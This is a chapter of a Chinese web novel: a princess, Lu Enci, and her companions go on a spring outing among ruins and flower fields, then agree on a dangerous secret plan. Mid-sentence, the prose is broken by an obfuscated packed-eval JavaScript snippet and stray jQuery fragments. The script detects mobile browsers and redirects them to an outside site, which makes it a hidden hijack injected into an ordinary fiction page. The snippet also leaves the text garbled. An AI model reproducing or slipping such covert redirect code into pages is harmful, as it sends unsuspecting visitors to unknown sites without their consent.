78.花海一别起风云

作品:《太液池里可以养鸬鹚吗

    可是当一行人打算阅读石碑上的文字,却都傻了眼。


    石碑上的文字粗看是一个个标准的方块字,可细看却一个也不认识。


    “我记起来了!古虞国的文字,是仿照中原文字创造出来的。”卢恩慈话语间带着遗憾:“可惜这个文字没有能够传承下来,不知道当今还有没有人能够阅读翻译。”


    “古虞国就像一颗流星,在史书上留下一抹耀眼的光辉之后,就消失不见了。”格日娜也有些垂头丧气:“真想解读这座石碑上写着些什么。”


    “据说古虞国覆灭后,他们后人还是有向下一代继续教授这种文字的。只是现在已经几百年过去,古虞国的故民已经完全融入了新迁徙的地方,可能这种文字真的后继无人了。”


    商泽亭择去卢恩慈衣衫上的草屑。


    卢恩慈微不可闻地暗暗叹了口气——看来自己无缘再深入了解这段失落的历史了。


    “臣小时候听老人讲故事,说古虞国留下了很多珍宝,吸引不少人去探险,盗墓贼更是掘地三尺,可一无所获。”秦牧山宽慰卢恩慈道:“但我们今日只是踏青,就遇到一处遗址,也不算白来。”


    “是呀,而且我们还看到了这么美的风景。”格日娜一把拉住卢恩慈,带着她在花田海里奔跑起来:“踏青就要快快乐乐的,这样才不会辜负眼前的大好春光啊!”


    “没错,阳光这么好,晒得人身上暖洋洋的,非常适合活动活动身子,舒活舒活筋骨!”海日恒刚想给卢恩慈按肩捶背,就收到秦牧山和商泽亭两道恶狠狠的目光注视。


    卢恩慈也没有给海日恒献殷勤的机会。她和格日娜一左一右,在花田海里畅步遨游。


    草色青青春色来,花香阵阵袭人开。


    卢恩慈跑得尽兴,喘着气休息,停下脚步。


    她将额前的发丝拢至耳后,才发觉自己的辫子上不知道什么时候已经点缀满了细碎的小花。


    衣摆和胸前,也因为在花田海里跑动,落满了花瓣和一些毛绒绒的飞絮。


    “恩慈,我来帮你清理!”海日恒见缝插针,总算来了找了个正经理由,几步跨至她身前。


    “你还帮我呢!你呀,低低头,瞧瞧自己身上!”卢恩慈看到海日恒的毛领子上还挂着好几颗苍耳,伸手给他摘下。


    “诶,不要不要,我自己来!苍耳有刺,你帮我手会弄伤的!”海日恒拂开卢恩慈的手,心里早就乐开了花——他就知道卢恩慈心里是有他,在意他的!


    海日恒手忙脚乱地摘着自己身上的苍耳时,商泽亭已经走进卢恩慈,为她拂去她身上的落花。


    “是不是还有一些?”卢恩慈背过身子:“我身后看不到。”


    “还有一些,但无需全部清理。携带着些春意归去,何尝不是踏青的乐趣?”商泽亭将一朵玫红色的花插在卢恩慈发间。


    “这颜色会不会太艳了?”卢恩慈偏过头。


    “不会不会,我看正正好!”格日娜笑嘻嘻地过来,手里抓了一捧红花,在卢恩慈的发髻上一朵接着一朵地戴。


    “这样真的好看吗?”卢恩慈犹疑地看向商泽亭。


    商泽亭嘴角噙着笑,点点头。他的笑意越来越深,终于忍不住,只能转过身子。


    卢恩慈感到脑袋昏沉沉,手往头上一摸,才察觉到不对——她头上快被格日娜戴满了红花!


    捉弄朋友时精力总是无穷的。格日娜见事情败露,撒开脚丫子跑走。


    海日恒本来在摘苍耳,看到卢恩慈碎红满头,呆住了一秒,想笑又不敢笑:“这是什么奇异的造型?”


    卢恩慈追着格日娜,可总也追不上。她看到秦牧山愣在原地,跑到他身边:“秦将军,我们走,别管他们了!”


    秦牧山不明所以。但卢恩慈下了命令,他就依着她的话照做,为她放马,紧跟在她身后。


    骑马时,他抓从卢恩慈头上飘落的小红花,小心翼翼地收进口袋。


    “都怪你往卢恩慈头上戴花,她现在生气和秦将军走了!”海日恒看着卢恩慈和秦牧山并驾齐驱,心里一酸。


    “恩慈并没有生气。你赶紧去追啊,她会在前面等着我们的!”格日娜看着不解风情的弟弟:“你看人家商大人,已经去追了!你怎么老是落人后面!”


    果不其然,卢恩慈和秦牧山在前方一处平缓的草地上等着他们,停马伫立。


    团团的白云从天穹悠悠飘过。在草原上,天与地是如此的近,仿佛一伸手,就能将它们搂下来。


    几人下了马,在草原上席地而坐,各自拿出面饼肉干。


    格日娜还额外带了奶酪条,掰了几半分给众人。其中,给卢恩慈分的尤其多:“要是带了锅煮一煮,热乎乎的更好吃!”


    “我们下次把锅带上,再出来野炊吧!”海日恒当即提议。


    “好呀,还可以带几顶帐篷!”置身于辽阔原野之上,卢恩慈身心都舒坦许多。


    忽地,耳边传来竹笛声。


    草铺横野千百里,笛弄春风三四声。


    原来是秦牧山取出了随身携带的笛子。清远的笛音在每个人心中奏出了不同的乐谱。


    秦牧山执笛目视前方,格日娜面上露出凝重,商泽亭低头陷入沉思。


    海日恒则没心没肺地狠狠点头鼓掌:“想不到你一个大将军还会这一手!”


    卢恩慈咬下一口奶酪条,是甜津津的滋味。可若是太甜了,就会转化为苦涩。


    她不觉抬起头,云朵依旧慢悠悠地在头上缓缓漂浮。


    身边坐卧的,皆是她信任的知己。他们同自己一同沐浴在这闲适午后的暖阳中。


    但所有人都深知,这不过是暴风雨前的宁静,是他们刻意遗忘掉现实才得来的片刻欢愉。


    白云悠悠而去,融暖春风被料峭寒意消释。随之而来的,将是泼墨翻成而来的密布乌云。


    天色变幻莫测,一行人结束踏青后,回到卢恩慈府宅中。


    侍者将他们迎进里堂。


    “雪青呢?她怎么不在?”卢恩慈招呼他们坐下,问向身边的侍者。


    “长公主您和几位贵客出去踏青之后,雪青姑娘也出去了。她没有跟我们说去哪了。”侍者回答完,摆放好茶点退下。


    “也不知道她带没带伞。”卢恩慈门口站立少顷,进了屋。


    此刻人皆齐聚,想到时间紧迫,在卢恩慈的主持下,便坐下来商讨接下


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17216783|192395||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    来的安排。


    商讨告一段落,天色暗沉,日光已无影无踪。


    格日娜走到庭院中,看向卢恩慈:“马上就要下瓢泼大雨了。”


    “不知这场大雨何时会停。”商泽亭为卢恩慈空着的茶碗中续上他刚刚沏好的新茶。


    “天气有阴有晴,总会放晴的一天。”秦牧山知道他们话语意有所指。


    “恩慈,你怎么不说话?”格日娜看着卢恩慈沉默不语。


    “此招甚险。一着不慎,满盘皆输。”卢恩慈在脑海中再次复盘计划。


    “你怕了吗?”格日娜将手心搭在卢恩慈的手背上。


    “有点怕。毕竟要瞒天过海,牵扯着那么多人的性命。”卢恩慈回握住格日娜:“但那又如何?如果因为这点惧意退缩,只会发生更可怕的事。”


    “我们放手去做吧。做成了,青史留名。做不成……也不至于遗臭万年吧!大不了像古虞国一样,消失在历史的长河中。”格日娜昂扬起头。


    卢恩慈被格日娜的乐观感染到,用力点了点头:“接下来是场硬仗要打。”


    “本想着抽几天和你好好商量,没想到一下午就顺利商定完。接下来的细节之处可能需要再协商,我给你留个隐秘的联络方式。”


    格日娜说话时,海日恒将他胳膊上的那只海东青交给卢恩慈。


    “不会是让我用这只海东青和你们飞鸿传书吧!”卢恩慈抚着这猛禽的羽毛。海东青意外地十分温顺。


    “海日恒你别打岔!”格日娜把做鬼脸的海日恒赶到一边去:“这是它送你养着玩的。联络方式我写给在纸上了。”


    “好。”卢恩慈将纸条过目后,交由秦牧山:“秦将军,胜败在此一举。”


    “臣愿为长公主赴汤蹈火,在所不辞!”秦牧山领命。


    “你学学人家!赶紧表忠心,让长公主知道你对她有用啊,还在那站着不动呢!”格日娜提醒杵在旁边的海日恒。


    海日恒赶紧学着秦牧山跪在卢恩慈身前:“臣愿为长公主赴汤蹈火,在所不辞!”


    屋内鸦雀无声。诡异的沉默蔓延开来。


    格日娜选择捂脸无视自家弟弟。


    “海日恒,你不是我的臣子。”卢恩慈将他扶起来:“而且按照计划,你要好好听格日娜的指令。到时候你姐姐说什么,你就做什么。”


    “蛰伏这段时日,此计不成功便成仁!”秦牧山向屋内众人抱拳:“那臣去准备筹划了。”


    “我和海日恒也要回去做准备了。”格日娜牵着不情愿离开的海日恒:“若此计成功,你留在平夏待在恩慈身边,都没有人管你!”


    大雨瓢泼而下,卢恩慈想留他们,但是没有成功,只能目送他们身影消失于雨夜。


    “早春天气温差大,夜里冷了,还请您多仔细身体!”卢恩慈忽觉身子一暖——是商泽亭为她披上披风。


    “我还以为你会催我回屋。”暴雨冲刷着大地,隐隐有春雷响动。


    “我自然想让你回屋去。”商泽亭挨着卢恩慈,陪她看着眼前的雨滴连成雨幕:“但我知您心里有事,或许听着这狂风暴雨才能消解些压力。”


    “泽亭,你靠我近些。”